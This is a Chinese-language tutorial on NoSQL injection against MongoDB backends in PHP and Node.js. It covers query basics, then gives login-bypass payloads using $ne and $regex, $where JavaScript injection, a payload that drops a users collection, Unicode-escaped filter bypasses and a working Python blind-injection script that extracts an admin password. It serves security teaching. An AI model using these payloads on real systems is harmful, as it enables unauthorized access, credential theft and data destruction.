web安全-NoSQL注入

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1.NoSQL

NoSQL（Not Only SQL）是一种非关系型数据库,它与传统的关系型数据库（如MySQL、Oracle）相比具有不同的数据存储模型和查询语言。

常见的NoSQL数据库包括 MongoDB（文档型）、Redis（键值型）、Cassandra（列族型）、Neo4j（图形型）等。

我们从MongDB中学习NoSQL注入

2.MongoDB

MongoDB 将数据存储为一个文档，数据结构由键值（key=>value）对组成。MongoDB 文档类似于 JSON 对象。字段值可以包含其他文档，数组及文档数组。

MongoDB基础

SQL概念	MongoDB概念	说明
database	database	数据库
table	collection	数据库表/集合
row	document	数据记录行/文档
column	field	数据字段/域
index	index	索引
table joins		表连接，MongoDB 不支持
primary key	primary key	主键，MongoDB 自动将 _id 字段设置为主键

• 数据库

一个 MongoDB 中可以建立多个数据库。MongoDB 的单个实例可以容纳多个独立的数据库，每一个都有自己的集合和权限，不同的数据库也放置在不同的文件中。

> show dbs
admin   0.078GB
config  0.078GB
local   0.078GB

• 文档

文档是一组键值（key-value）对

{"name":"whoami", "age":19}

• 集合

集合就是 MongoDB 文档组,存在于数据库中，没有固定的结构，这意味着你在对集合可以插入不同格式和类型的数据。

比如，我们可以将以下不同数据结构的文档插入到集合中:

{"name":"whoami"}
{"name":"bunny", "age":19}
{"name":"bob", "age":20, "groups":["admins","users"]}

当插入一个文档时，集合就会被自动创建,可以使用show collections或show tables命令查看已有集合：

> show collections
all_users
> show tables
all_users
>

MongoDB语法

• 创建数据库，若存在则连接并切换到指定数据库:
  use DATABASE_NAME
  
• 使用 createCollection() 方法来创建集合:
  db.createCollection(name, options),其中
  name：要创建的集合名称
  options：可选参数，指定有关内存大小及索引的选项
  
• 使用 insert() 方法向集合中插入文档:
  db.COLLECTION_NAME.insert(document)
  
• 使用 update() 或 save() 方法来更新集合中的文档(这里不细讲了)
  
• 使用 find() 方法来查询文档(可以传入多个键值对),pretty()方法以格式化的方式来显示所有文档：
  db.collection.find(query, projection).pretty(),其中
  query：可选，使用查询操作符指定查询条件，相当于 sql select 语句中的 where 子句。
  projection：可选，使用投影操作符指定返回的键。

例:

> db.all_users.find({"age":20}).pretty()
{
    "_id" : ObjectId("60fa854cf8aaaf4f21049148"),
    "name" : "whoami",
    "description" : "the admin user",
    "age" : 20,
    "status" : "A",
    "groups" : [
        "admins",
        "users"
    ]
}
>

• 条件语句查询:

操作	格式	范例	RDBMS中的类似语句
等于	{<key>:<value>}	db.love.find({"name":"whoami"}).pretty()	where name = ‘whoami’
小于	{<key>:{$lt:<value>}}	db.love.find({"age":{$lt:19}}).pretty()	where age < 19
小于或等于	{<key>:{$lte:<value>}}	db.love.find({"age":{$lte:19}}).pretty()	where likes <= 19
大于	{<key>:{$gt:<value>}}	db.love.find({"age":{$gt:19}}).pretty()	where likes > 19
大于或等于	{<key>:{$gte:<value>}}	db.love.find({"age":{$gte:19}}).pretty()	where likes >= 19
不等于	{<key>:{$ne:<value>}}	db.love.find({"age":{$ne:19}}).pretty()	where likes != 19

2.PHP中的MongoDB注入

重言式注入

又称为永真式，此类攻击是在条件语句中注入代码，使生成的表达式判定结果永远为真，从而绕过认证或访问机制。

例如后台通过账户密码参数查询数据库中的信息

利用PHP特性和$ne关键词构造:username[$ne]=1&password[$ne]=1

以此向服务器提交两个参数：username和password,查询两个参数的值不等于1的数据,这样导致后台会将所有数据都查询出

一些payload:

username[$ne]= &password[$ne]=
username[$gt]= &password[$gt]=
username[$gte]= &password[$gte]=

联合查询注入

联合查询是一种众所周知的 SQL 注入技术，攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。

如下实例，假设后端的 MongoDB 查询语句使用了字符串拼接：

string query ="{ username: '" + $username + "', password: '" + $password + "' }"

如果此时没有很好地对用户的输入进行过滤或者效验，那攻击者便可以构造如下 payload：

username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: '123456

此时，只要用户名是正确的，这个查询就可以成功。

但是现在无论是 PHP 的 MongoDB Driver 还是 Nodejs 的 Mongoose 都必须要求查询条件必须是一个数组或者 Query 对象了，因此这用注入方法简单了解一下就好了。

js注入

MongoDB Server 支持 JavaScript，这使得在数据引擎进行复杂事务和查询成为可能，但是传递不干净的用户输入到这些查询中可以注入任意的 JavaScript 代码，导致非法的数据获取或篡改。

若后端利用了$where操作符(能将后面的js代码执行),并将用户输入的内容插入其中结合js代码一起去执行,就可能造成js注入

• MongoDB 2.4 之前

可以通过自定义JavaScript函数来获取数据库的所有信息。发送以下数据后，如果有回显的话将获取当前数据库下所有的集合名：

username=1&password=1';(function(){return(tojson(db.getCollectionNames()))})();var a='1

• MongoDB 2.4 之后

MongoDB 2.4 之后 db 属性访问不到了，但我们依然可以构造万能密码。如果此时我们发送以下这几种数据,也可以造成js注入：

username=1&password=1';return true//
或
username=1&password=1';return true;var a='1

• 使用Command方法造成的注入

在 MongoDB 的服务器端可以通过 db.eval 方法来执行 JavaScript 脚本，如我们可以定义一个 JavaScript 函数，然后通过 db.eval 在服务器端来运行。

payload:

username=1'});db.users.drop();db.user.find({'username':'1
username=1'});db.users.insert({"username":"admin","password":123456"});db.users.find({'username':'1

则将改变原本的查询语句造成注入。

布尔盲注

当页面没有回显时，那么我们可以通过$regex正则表达式来达到和传统SQL注入中substr()函数相同的功能，而且NoSQL用到的基本上都是布尔盲注。

如下所示，在已知一个用户名的情况下判断密码的长度：

username=admin&password[$regex]=.{4}    // 登录成功
username=admin&password[$regex]=.{5}    // 登录成功
username=admin&password[$regex]=.{6}    // 登录成功
username=admin&password[$regex]=.{7}    // 登录失败
......

//说明密码长度为7

MongoDB盲注脚本：

import requests
import string

password = ''
url = 'http://192.168.226.148/index.php'

while True:
    for c in string.printable:
        if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:

            # When the method is GET
            get_payload = '?username=admin&password[$regex]=^%s' % (password + c)
            # When the method is POST
            post_payload = {
                "username": "admin",
                "password[$regex]": '^' + password + c
            }
            # When the method is POST with JSON
            json_payload = """{"username":"admin", "password":{"$regex":"^%s"}}""" % (password + c)
            #headers = {'Content-Type': 'application/json'}
            #r = requests.post(url=url, headers=headers, data=json_payload)    # 简单发送 json

            r = requests.post(url=url, data=post_payload)
            if 'Login Success' in r.text:
                print("[+] %s" % (password + c))
                password += c


# 输出如下: 
# [+] 1
# [+] 12
# [+] 123
# [+] 1234
# [+] 12345
# [+] 123456

3.Nodejs中的MongoDB注入

其中主要是重言式注入(json形式)，通过构造永真式构造万能密码实现登录绕过

由于后端解析 JSON，所以我们发送 JSON 格式的 payload：

{"username":{"$ne":1},"password": {"$ne":1}}

若过滤严格,可以尝试使用 Unicode 编码绕过，因为 JSON 可以直接解析 Unicode。如下所示：

{"username":{"\u0024\u006e\u0065":1},"password": {"\u0024\u006e\u0065":1}} // {"username":{"$ne":1},"password": {"$ne":1}}